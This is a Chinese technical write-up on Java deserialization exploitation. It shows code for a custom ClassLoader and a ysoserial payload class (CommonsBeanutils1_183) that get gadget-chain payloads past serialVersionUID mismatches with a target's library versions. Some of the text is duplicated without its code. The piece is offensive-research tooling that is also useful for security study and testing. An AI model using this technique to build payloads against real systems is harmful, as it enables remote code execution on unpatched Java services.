使用自定义ClassLoader解决反序列化serialVesionUID不一致问题
字数 1295 2025-08-10 08:29:04

使用自定义ClassLoader解决Java反序列化serialVersionUID不一致问题

问题背景

在Java反序列化漏洞利用中,serialVersionUID不一致导致反序列化失败是一个常见问题。当攻击者构造的payload与目标环境中对应类的serialVersionUID不匹配时,反序列化过程会失败。

现有解决方案及其局限性

方案1:修改序列化byte数据

  • 能力:解决序列化最终数据的serialVersionUID不一致
  • 缺陷:无法解决Object的serialVersionUID不一致

方案2:反射修改serialVersionUID

  • 能力:可以修改Object的属性
  • 缺陷:无法解决Gadget依赖的class没有serialVersionUID属性的情况(反射只能修改属性,不能添加)

方案3:修改Class字节码,添加或修改serialVersionUID

  • 能力:解决Gadget直接依赖Class的serialVersionUID不一致问题
  • 缺陷:难以解决Gadget间接依赖class存在serialVersionUID不一致的情况

方案4:Hook ObjectStreamClass.getSerialVersionUID()

  • 能力:修改所有参与序列化Class的serialVersionUID返回值
  • 缺陷:无法解决Gadget依赖jar版本之间class差异较大(属性类型不同)的情况

方案5:URLClassLoader

  • 能力:动态引入依赖jar
  • 缺陷
    1. 不方便隔离依赖(双亲委派模式可能导致父ClassLoader中的同名Class覆盖)
    2. 不方便共享依赖
    3. 不方便添加Class到ClassLoader中(只能添加jar)

自定义ClassLoader解决方案

核心设计原则

  1. 改双亲委派为当前ClassLoader优先,方便隔离不一致jar并共享可共用jar
  2. 方便添加Class和Jar到ClassLoader中

实现细节

1. 类成员变量

private Map<String, byte[]> classByteMap = new HashMap<String, byte[]>();

2. addClass方法

public void addClass(String className, byte[] classByte) {
    classByteMap.put(className, classByte);
}

3. addJar方法

private void readJar(JarFile jar) throws IOException {
    Enumeration<JarEntry> en = jar.entries();
    while (en.hasMoreElements()) {
        JarEntry je = en.nextElement();
        String name = je.getName();
        if (name.endsWith(".class")) {
            String clss = name.replace(".class", "").replaceAll("/", ".");
            if (this.findLoadedClass(clss) != null) continue;
            
            InputStream input = jar.getInputStream(je);
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            int bufferSize = 4096;
            byte[] buffer = new byte[bufferSize];
            int bytesNumRead = 0;
            while ((bytesNumRead = input.read(buffer)) != -1) {
                baos.write(buffer, 0, bytesNumRead);
            }
            byte[] cc = baos.toByteArray();
            input.close();
            classByteMap.put(clss, cc);
        }
    }
}

4. 重写loadClass方法(打破双亲委派)

@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
    synchronized (getClassLoadingLock(name)) {
        // 1. 检测自定ClassLoader缓存中有没有
        Class clazz = cacheClass.get(name);
        if (null != clazz) {
            return clazz;
        }
        
        try {
            // 2. 从当前ClassLoader可加载的所有Class中找
            clazz = findClass(name);
            if (null != clazz) {
                cacheClass.put(name, clazz);
            } else {
                clazz = super.loadClass(name, resolve);
            }
        } catch (ClassNotFoundException ex) {
            // 3. 当自定义ClassLoader中没有找到目标class,走双亲委派模式
            clazz = super.loadClass(name, resolve);
        }
        
        if (resolve) {
            resolveClass(clazz);
        }
        return clazz;
    }
}

5. 实现findClass方法

@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
    byte[] result = classByteMap.get(name);
    if (result == null) {
        throw new ClassNotFoundException();
    } else {
        return defineClass(name, result, 0, result.length);
    }
}

实际应用示例(CommonsBeanutils1_183)

@Dependencies({
    "commons-beanutils:commons-beanutils:1.8.3",
    "commons-collections:commons-collections:3.1",
    "commons-logging:commons-logging:1.2"
})
@Authors({ Authors.FROHOFF, Authors.CONY1 })
public class CommonsBeanutils1_183 extends Object implements ObjectPayload<Object> {
    
    public Object getObject(String command) throws Exception {
        // 创建自定义ClassLoader对象
        SuidClassLoader suidClassLoader = new SuidClassLoader();
        
        // 将Gadget class添加到自定义ClassLoader中
        suidClassLoader.addClass(CommonsBeanutils1.class.getName(), classAsBytes(CommonsBeanutils1.class));
        
        // 从资源目录读取commons-beanutils-1.8.3.jar的base64数据
        InputStream is = CommonsBeanutils1_183.class.getClassLoader()
            .getResourceAsStream("commons-beanutils-1.8.3.txt");
        byte[] jarBytes = new BASE64Decoder().decodeBuffer(CommonUtil.readStringFromInputStream(is));
        
        // 将Gadget不一致jar添加到自定义ClassLoader中
        suidClassLoader.addJar(jarBytes);
        
        Class clsGadget = suidClassLoader.loadClass("ysoserial.payloads.CommonsBeanutils1");
        
        // 验证关键类是否由自定义ClassLoader加载
        if (BeanComparator.class.getClassLoader().equals(suidClassLoader)) {
            // 使用自定义ClassLoader加载的Gadget class创建对象
            Object objGadget = clsGadget.newInstance();
            Method getObject = objGadget.getClass().getDeclaredMethod("getObject", String.class);
            Object objPayload = getObject.invoke(objGadget, command);
            suidClassLoader.cleanLoader();
            return objPayload;
        } else {
            System.out.println("Class is not SuidClassLoader loading, serialization failure!");
            return null;
        }
    }
    
    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsBeanutils1_183.class, args);
    }
}

关键验证点

在实现自定义ClassLoader解决方案时,必须验证关键类是否确实由自定义ClassLoader加载:

if (BeanComparator.class.getClassLoader().equals(suidClassLoader)) {
    // 继续执行payload生成
} else {
    // 处理失败情况
}

优势总结

  1. 完美隔离:可以隔离存在serialVersionUID不一致问题的jar
  2. 依赖共享:通过双亲委派机制共享可共用的jar
  3. 灵活性:可以方便地添加单个Class或整个jar
  4. 通用性:适用于各种gadget,不受限于特定反序列化链

注意事项

  1. 需要确保关键类确实由自定义ClassLoader加载
  2. 使用完毕后应及时清理ClassLoader资源
  3. 对于复杂的依赖关系,需要仔细分析哪些jar需要隔离,哪些可以共享

参考资源

使用自定义ClassLoader解决Java反序列化serialVersionUID不一致问题 问题背景 在Java反序列化漏洞利用中,serialVersionUID不一致导致反序列化失败是一个常见问题。当攻击者构造的payload与目标环境中对应类的serialVersionUID不匹配时,反序列化过程会失败。 现有解决方案及其局限性 方案1:修改序列化byte数据 能力 :解决序列化最终数据的serialVersionUID不一致 缺陷 :无法解决Object的serialVersionUID不一致 方案2:反射修改serialVersionUID 能力 :可以修改Object的属性 缺陷 :无法解决Gadget依赖的class没有serialVersionUID属性的情况(反射只能修改属性,不能添加) 方案3:修改Class字节码,添加或修改serialVersionUID 能力 :解决Gadget直接依赖Class的serialVersionUID不一致问题 缺陷 :难以解决Gadget间接依赖class存在serialVersionUID不一致的情况 方案4:Hook ObjectStreamClass.getSerialVersionUID() 能力 :修改所有参与序列化Class的serialVersionUID返回值 缺陷 :无法解决Gadget依赖jar版本之间class差异较大(属性类型不同)的情况 方案5:URLClassLoader 能力 :动态引入依赖jar 缺陷 : 不方便隔离依赖(双亲委派模式可能导致父ClassLoader中的同名Class覆盖) 不方便共享依赖 不方便添加Class到ClassLoader中(只能添加jar) 自定义ClassLoader解决方案 核心设计原则 改双亲委派为当前ClassLoader优先,方便隔离不一致jar并共享可共用jar 方便添加Class和Jar到ClassLoader中 实现细节 1. 类成员变量 2. addClass方法 3. addJar方法 4. 重写loadClass方法(打破双亲委派) 5. 实现findClass方法 实际应用示例(CommonsBeanutils1_ 183) 关键验证点 在实现自定义ClassLoader解决方案时,必须验证关键类是否确实由自定义ClassLoader加载: 优势总结 完美隔离 :可以隔离存在serialVersionUID不一致问题的jar 依赖共享 :通过双亲委派机制共享可共用的jar 灵活性 :可以方便地添加单个Class或整个jar 通用性 :适用于各种gadget,不受限于特定反序列化链 注意事项 需要确保关键类确实由自定义ClassLoader加载 使用完毕后应及时清理ClassLoader资源 对于复杂的依赖关系,需要仔细分析哪些jar需要隔离,哪些可以共享 参考资源 Java Deserialization Exploitation With Customized Ysoserial Payloads